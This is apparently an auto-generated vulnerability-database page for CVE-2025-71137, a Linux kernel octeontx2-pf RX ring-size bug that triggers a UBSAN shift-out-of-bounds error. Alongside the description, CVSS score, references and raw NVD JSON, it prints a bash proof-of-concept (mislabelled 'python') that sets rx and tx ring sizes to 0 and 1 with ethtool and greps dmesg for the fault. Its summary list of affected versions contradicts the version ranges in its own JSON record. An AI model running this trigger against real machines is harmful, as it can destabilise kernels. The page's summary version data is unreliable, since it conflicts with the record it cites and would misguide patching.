CVE-2025-71137

Description

In the Linux kernel, the following vulnerability has been resolved: octeontx2-pf: fix "UBSAN: shift-out-of-bounds error" This patch ensures that the RX ring size (rx_pending) is not set below the permitted length. This avoids UBSAN shift-out-of-bounds errors when users passes small or zero ring sizes via ethtool -G.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux kernel octeontx2-pf driver < 5.15.162

Linux kernel octeontx2-pf driver < 6.1.102

Linux kernel octeontx2-pf driver < 6.6.62

Linux kernel octeontx2-pf driver < 6.11.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# CVE-2025-71137 PoC - octeontx2-pf RX ring size validation bypass
# This PoC demonstrates setting invalid (too small) RX ring size via ethtool
# to trigger UBSAN shift-out-of-bounds error

INTERFACE="octeontx2pf0"  # Adjust interface name as needed

# Get current ring sizes
echo "[*] Getting current ring sizes..."
ethtool -g $INTERFACE 2>/dev/null || echo "[!] Interface not found or ethtool not available"

# Attempt to set invalid (too small) RX ring size
echo "[*] Attempting to set invalid RX ring size (rx_pending=0)..."
ethtool -G $INTERFACE rx 0 tx 0 2>&1

# Attempt with minimum invalid value
echo "[*] Attempting to set invalid RX ring size (rx_pending=1)..."
ethtool -G $INTERFACE rx 1 tx 1 2>&1

# Check kernel logs for UBSAN error
if dmesg | grep -i "ubsan" | tail -5; then
    echo "[+] UBSAN error detected in kernel logs"
else
    echo "[*] No UBSAN error detected (may require specific kernel config)"
fi

# Note: Valid ring size should be >= minimum threshold defined by driver
# Check driver source for minimum valid rx_pending value

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71137
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71137
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71137/
[4] VulDB https://vuldb.com/cve/CVE-2025-71137
[5] https://git.kernel.org/stable/c/442848e457f5a9f71a4e7e14d24d73dae278ebe3
[6] https://git.kernel.org/stable/c/4cc4cfe4d23c883120b6f3d41145edbaa281f2ab
[7] https://git.kernel.org/stable/c/5d8dfa3abb9a845302e021cf9c92d941abbc011a
[8] https://git.kernel.org/stable/c/658caf3b8aad65f8b8e102670ca4f68c7030f655
[9] https://git.kernel.org/stable/c/85f4b0c650d9f9db10bda8d3acfa1af83bf78cf7
[10] https://git.kernel.org/stable/c/aa743b0d98448282b2cb37356db8db2a48524624
[11] https://git.kernel.org/stable/c/b23a2e15589466a027c9baa3fb5813c9f6a6c6dc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71137", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:16:03.487", "lastModified": "2026-03-25T18:03:28.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nocteontx2-pf: fix \"UBSAN: shift-out-of-bounds error\"\n\nThis patch ensures that the RX ring size (rx_pending) is not\nset below the permitted length. This avoids UBSAN\nshift-out-of-bounds errors when users passes small or zero\nring sizes via ethtool -G."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nocteontx2-pf: corrige el 'UBSAN: shift-out-of-bounds error'\n\nEste parche asegura que el tamaño del anillo RX (rx_pending) no se establezca por debajo de la longitud permitida. Esto evita errores de UBSAN shift-out-of-bounds cuando los usuarios pasan tamaños de anillo pequeños o cero a través de ethtool -G."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.6.1", "versionEndExcluding": "5.10.248", "matchCriteriaId": "182C0F82-F392-4116-B26D-0990DA63EB2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.198", "matchCriteriaId": "82159CAA-B6BA-43C6-85D8-65BDBC175A7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.160", "matchCriteriaId": "C10CC03E-16A9-428A-B449-40D3763E15F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.120", "matchCriteriaId": "43C3A206-5EEE-417B-AA0F-EF8972E7A9F0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.64", "matchCriteriaId": "32BF4A52-377C-44ED-B5E6-7EA5D896E98B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.4", "matchCriteriaId": "DC988EA0-0E32-457A-BF95-89BEB31A227B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.6:-:*:*:*:*:*:*", "matchCriteriaId": "A92F7A0E-C302-4FEA-9EF3-1A3D5CF3AD54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*", "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/442848e457f5a9f71a4e7e14d24d73dae278ebe3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4cc4cfe4d23c883120b6f3d41145edbaa281f2ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5d8dfa3abb9a845302e021cf9c92d941abbc011a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/658caf3b8aad65f8b8e102670ca4f68c7030f655", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/85f4b0c650d9f9db10bda8d3acfa1af83bf78cf7", "source": "416baaa9-dc9f-4396-8d5f-8c08 ... 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